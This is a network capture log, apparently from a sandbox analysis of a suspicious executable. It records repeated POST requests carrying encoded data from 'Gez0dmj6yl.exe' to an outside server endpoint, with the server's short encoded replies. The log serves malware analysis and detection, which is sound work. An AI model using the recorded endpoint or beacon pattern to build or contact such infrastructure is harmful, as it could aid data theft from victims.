Sep 1, 2024 23:57:46.685282946 CEST	1040	OUT	Data Raw: 55 58 5d 5c 58 58 59 52 5b 5b 54 51 5b 51 56 55 57 50 5a 42 50 5d 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UX]\XXYR[[TQ[QVUWPZBP]Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 1V%!9&24@.:75(R,/&<"0%]$<;9G$#P/4
Sep 1, 2024 23:57:46.997710943 CEST	1040	OUT	Data Raw: 55 58 5d 5c 58 58 59 52 5b 5b 54 51 5b 51 56 55 57 50 5a 42 50 5d 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UX]\XXYR[[TQ[QVUWPZBP]Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 1V%!9&24@.:75(R,/&<"0%]$<;9G$#P/4
Sep 1, 2024 23:57:47.607080936 CEST	1040	OUT	Data Raw: 55 58 5d 5c 58 58 59 52 5b 5b 54 51 5b 51 56 55 57 50 5a 42 50 5d 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UX]\XXYR[[TQ[QVUWPZBP]Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 1V%!9&24@.:75(R,/&<"0%]$<;9G$#P/4
Sep 1, 2024 23:57:47.709798098 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:47.710196972 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:47.711647034 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:47.876715899 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49774	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:48.002357006 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:48.357207060 CEST	1040	OUT	Data Raw: 55 59 5d 5f 5d 5c 59 52 5b 5b 54 51 5b 5d 56 51 57 53 5a 45 50 5a 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UY]_]\YR[[TQ[]VQWSZEPZQX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &0"5.P%2#9.74;=%-#(1$=5$<3+;9G$#P/
Sep 1, 2024 23:57:48.590920925 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:48.723409891 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49775	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:48.844007015 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:49.201039076 CEST	1040	OUT	Data Raw: 55 5c 58 5f 58 5f 59 52 5b 5b 54 51 5b 5c 56 56 57 52 5a 46 50 5e 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\X_X_YR[[TQ[\VVWRZFP^Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[2#=622!'--R7-.8%-;(!$%[)\%/<;9G$#P/
Sep 1, 2024 23:57:49.436904907 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:49.568511963 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49776	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:49.686216116 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:50.044739008 CEST	1040	OUT	Data Raw: 50 5a 5d 5b 58 58 5c 54 5b 5b 54 51 5b 52 56 51 57 54 5a 44 50 59 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZ][XX\T[[TQ[RVQWTZDPYQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ ' &Z6/22$::#%$T,%>,(4%.:3#Y+9G$#P/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49778	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:50.239022970 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:50.591682911 CEST	1756	OUT	Data Raw: 50 5b 5d 59 58 52 59 53 5b 5b 54 51 5b 53 56 53 57 57 5a 49 50 5d 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[]YXRYS[[TQ[SVSWWZIP]Q[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ % !"?&29)1W#C?,[#&>8U)1+$.)Y%,3?;9G$#P/<
Sep 1, 2024 23:57:50.831461906 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:50.960527897 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 13 24 2e 06 0f 27 2c 2d 0b 32 21 28 1e 3e 0e 23 1d 2d 07 27 10 34 30 37 0f 2d 2f 35 03 21 33 36 09 2b 5f 30 5a 3f 13 02 54 22 1d 20 51 04 12 22 06 23 2e 25 1a 2d 28 39 14 32 0c 0d 58 22 20 39 03 2b 03 3d 13 36 04 2e 5a 32 33 25 58 3f 3c 0e 55 39 28 0e 0b 29 01 22 54 20 02 21 56 0f 12 25 53 26 07 27 5e 27 02 2b 08 24 11 3d 5e 22 2d 3f 11 21 39 09 50 26 23 26 5d 2b 3f 09 11 2b 13 0f 12 33 2c 36 15 30 03 38 0f 24 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "$.',-2!(>#-'407-/5!36+_0Z?T" Q"#.%-(92X" 9+=6.Z23%X?<U9()"T !V%S&'^'+$=^"-?!9P&#&]+?+3,608$,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49779	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:50.360552073 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:50.716624975 CEST	1032	OUT	Data Raw: 50 5a 58 5b 58 52 5c 54 5b 5b 54 51 5b 55 56 50 57 50 5a 41 50 59 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZX[XR\T[[TQ[UVPWPZAPYQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 2 -!Y>Q&"':. <8-2=,U<41=:'/++9G$#P/<
Sep 1, 2024 23:57:50.942230940 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:51.070934057 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49780	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:51.203315020 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:51.560375929 CEST	1040	OUT	Data Raw: 50 5c 58 5c 5d 58 59 54 5b 5b 54 51 5b 53 56 56 57 56 5a 47 50 5a 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\X\]XYT[[TQ[SVVWVZGPZQ]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^&"Y!>T%$A.V#7-=+%-(V<1<2=]',3Z(;9G$#P/<
Sep 1, 2024 23:57:51.783278942 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:51.909565926 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49781	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:52.032716990 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:52.388417959 CEST	1040	OUT	Data Raw: 55 51 5d 59 5d 5e 5c 53 5b 5b 54 51 5b 5c 56 56 57 52 5a 43 50 5f 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQ]Y]^\S[[TQ[\VVWRZCP_Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[1V26?T& ::)W7%<W8=8\%<R?[&[%[$Y/(;9G$#P/
Sep 1, 2024 23:57:52.629050016 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:52.817032099 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49782	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:52.945555925 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:53.294711113 CEST	1040	OUT	Data Raw: 50 58 5d 5c 58 5f 59 51 5b 5b 54 51 5b 53 56 51 57 51 5a 48 50 5c 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PX]\X_YQ[[TQ[SVQWQZHP\QX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^1[!?'!'-*=U"5->+&>3+!%:0/$?9G$#P/<
Sep 1, 2024 23:57:53.553724051 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:53.681004047 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49783	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:53.810611963 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:54.169687986 CEST	1040	OUT	Data Raw: 50 5b 58 58 5d 58 59 56 5b 5b 54 51 5b 54 56 50 57 5b 5a 45 50 5d 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[XX]XYV[[TQ[TVPW[ZEP]Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#1.[!,!2" E9*)V#%';<23( &->$?'X+9G$#P/
Sep 1, 2024 23:57:54.391823053 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:54.517668009 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:57:54.768718958 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49784	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:54.769769907 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:55.122828007 CEST	1040	OUT	Data Raw: 55 59 58 5d 58 5f 59 51 5b 5b 54 51 5b 57 56 5e 57 50 5a 47 50 5c 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYX]X_YQ[[TQ[WV^WPZGP\QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#'0"[#,9&7,*R &4V,4]&= T(!(2!\$0(;9G$#P/,
Sep 1, 2024 23:57:55.360919952 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:55.488624096 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49785	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:55.609582901 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:55.967345953 CEST	1040	OUT	Data Raw: 55 5a 58 5f 5d 5c 59 50 5b 5b 54 51 5b 53 56 50 57 5a 5a 49 50 5d 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZX_]\YP[[TQ[SVPWZZIP]Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %^!1%!;:>7&<8 Y% S(&!$?](9G$#P/<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49786	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:55.972435951 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:56.325936079 CEST	1756	OUT	Data Raw: 55 5c 58 58 58 5f 59 5f 5b 5b 54 51 5b 5c 56 52 57 52 5a 46 50 5a 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\XXX_Y_[[TQ[\VRWRZFPZQ]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2&Z".V11+.=T7%U8>?1<V<0\&-$(?9G$#P/
Sep 1, 2024 23:57:56.543751001 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:56.668736935 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 59 31 3e 20 0a 31 01 36 19 32 21 09 0c 2b 27 3f 18 2d 00 23 58 23 0d 3f 0e 38 3f 3d 00 22 0d 29 19 2b 5f 20 5b 3f 3e 2f 0b 36 0d 20 51 04 12 21 17 22 13 2d 51 3a 02 2e 06 32 32 38 03 35 20 08 5b 2a 39 32 0f 36 04 07 06 26 23 3d 5a 2b 3c 3f 0e 39 06 24 42 2a 59 2e 54 20 02 21 56 0f 12 25 57 31 17 0e 02 33 02 33 0f 24 11 29 59 22 3d 33 5b 20 17 3f 51 27 23 29 05 28 11 0d 59 28 2d 3a 01 24 2c 22 5c 24 3d 23 53 30 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "Y1> 162!+'?-#X#?8?=")+_ [?>/6 Q!"-Q:.2285 [926&#=Z+<?9$BY.T !V%W133$)Y"=3[ ?Q'#)(Y(-:$,"\$=#S0<#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49787	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:56.093261957 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
